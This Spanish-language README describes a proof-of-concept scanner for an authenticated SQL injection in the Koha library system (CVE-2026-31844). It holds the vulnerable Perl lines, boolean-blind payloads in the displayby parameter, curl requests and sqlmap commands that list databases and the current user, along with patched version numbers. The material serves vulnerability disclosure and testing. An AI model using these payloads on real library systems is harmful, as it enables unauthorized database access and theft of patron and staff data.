
Escáner de inyección SQL autenticada para el Sistema de Gestión de Bibliotecas Koha (CVE-2026-31844) que utiliza la técnica ciega basada en booleanos para verificar la vulnerabilidad y extraer datos.
Este repositorio contiene un PoC de vulnerabilidad responsable para CVE-2026-31844, una vulnerabilidad de inyección SQL autenticada de alta gravedad en el Sistema de Gestión de Bibliotecas Koha.
La vulnerabilidad existe en la función GetDistinctValues en C4/Search.pm, que es llamada por el script /cgi-bin/koha/suggestion/suggestion.pl. Puede explotarse mediante el parámetro displayby.
El parámetro displayby en el script suggestion.pl se utiliza para construir un nombre de columna calificado por tabla, que luego se pasa a la función GetDistinctValues. Sin embargo, esta función directamente incrusta tanto el nombre de la tabla como el nombre de la columna en una consulta SQL cruda sin realizar ninguna validación de entrada ni parametrización.
Como resultado, un atacante puede manipular el parámetro displayby para inyectar código SQL malicioso en la consulta. Dado que la entrada no se sanitiza antes de incluirse en la sentencia SQL, este comportamiento introduce una vulnerabilidad de Inyección SQL, que puede permitir a un atacante ejecutar comandos SQL arbitrarios mediante la técnica Boolean-Based Blind en la base de datos.
# suggestion.pl
my $displayby = $input->param('displayby') || '';
my $criteria_list = GetDistinctValues( "suggestions." . $displayby );
Raximov Shukrulloh (Mothra)
El escáner utiliza una técnica Boolean-Based Blind para verificar la vulnerabilidad
Al inyectar sentencias condicionales en la posición del nombre de la columna, podemos observar respuestas HTTP diferenciales:
IF(1=1, (SELECT 1 UNION SELECT 2), 1) → Error de Subconsulta → HTTP 500IF(1=2, (SELECT 1 UNION SELECT 2), 1) → Consulta Válida → HTTP 200Si el objetivo devuelve un 500 para la condición verdadera y un 200 para la condición falsa, la vulnerabilidad está confirmada.
git clone https://github.com/shukrulloh70/CVE-2026-31844-Koha-Scanner.git
cd CVE-2026-31844-Koha-Scanner
pip3 install requests
Debes proporcionar credenciales válidas para una cuenta de personal de Koha con el permiso suggestions.
python3 scanner.py -t http://koha.example.com -u staff_user -p staff_password
Para objetivos con certificados SSL autofirmados:
python3 scanner.py -t https://koha.example.com -u staff_user -p staff_password --no-verify-ssl
╔═══════════════════════════════════════════════════════════════╗
║ CVE-2026-31844 — Escáner de Vulnerabilidad Koha ║
║ SQLi Autenticada en suggestion.pl (displayby) ║
║ (Solo Verificación Responsable) ║
╚═══════════════════════════════════════════════════════════════╝
[*] Objetivo: http://koha.local:8081
[*] Autenticando en la interfaz de personal como 'koha_admin'...
[+] ¡Autenticación exitosa!
============================================================
ESCANEO DE VULNERABILIDAD
============================================================
[*] Probando vulnerabilidad usando evaluación Boolean-blind segura...
[1] Probando solicitud de referencia (STATUS)... HTTP 200 (OK)
[2] Probando evaluación de condición VERDADERA... HTTP 500 (Error Esperado)
[3] Probando evaluación de condición FALSA... HTTP 200 (OK)
============================================================
[ CRÍTICO ] EL OBJETIVO ES VULNERABLE A CVE-2026-31844
[! ] El objetivo evaluó las condiciones SQL y devolvió códigos HTTP diferenciales.
[! ] Actualice Koha a la versión 24.11.12, 25.05.07, 25.11.01 o 26.05.00.
Puedes verificar manualmente la vulnerabilidad mediante curl. Primero, autentícate en la interfaz de personal de Koha y captura tu cookie CGISESSID.
Condición Verdadera (Devuelve HTTP 500):
curl -i -k \
-H "Cookie: CGISESSID=your_session_id_here" \
"http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=status+AND+IF(1=1,+(SELECT+1+UNION+SELECT+2),+1)"
Condición Falsa (Devuelve HTTP 200):
curl -i -k \
-H "Cookie: CGISESSID=your_session_id_here" \
"http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=status+AND+IF(1=2,+(SELECT+1+UNION+SELECT+2),+1)"
SQLMap soporta nativamente la inyección ciega basada en booleanos. Para automatizar la extracción de datos, guarda una solicitud HTTP autenticada válida en request.txt. Mantén válidas las cookies csrf_token y CGISESSID.
Ejemplo de request.txt:
GET /cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=STATUS HTTP/1.1
Host: koha.example.com
Cookie: CGISESSID=your_session_id_here
User-Agent: Mozilla/5.0
Ejecuta SQLMap con la técnica booleana (--technique=B):
# Extracción básica de bases de datos
sqlmap -r request.txt -p displayby --dbms=mysql --technique=B --level=5 --risk=3 --dbs
# Extraer usuario actual
sqlmap -r request.txt -p displayby --dbms=mysql --technique=B --current-user
O ejecútalo directamente desde la línea de comandos:
sqlmap -u "http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=STATUS" \
--cookie="CGISESSID=your_session_id_here" \
-p displayby \
--dbms=mysql \
--technique=B \
--current-db
Después de un tiempo, sqlmap identificará el payload correcto.
Si no se corrige, esta vulnerabilidad permite a un atacante autenticado:
Actualiza a la versión de Koha 24.11.12, 25.05.07, 25.11.01 o 26.05.00 (o posterior) que incluye una corrección para esta vulnerabilidad.
Raximov Shukrulloh (Mothra)
Bot de Telegram @MothraContact_bot
Esta prueba de concepto se proporciona únicamente con fines educativos y defensivos. Siempre obtén la autorización adecuada antes de probar cualquier sistema en busca de vulnerabilidades.
El autor no es responsable del mal uso de esta información. Esta prueba de concepto solo debe utilizarse en sistemas que poseas o para los cuales tengas permiso explícito de prueba.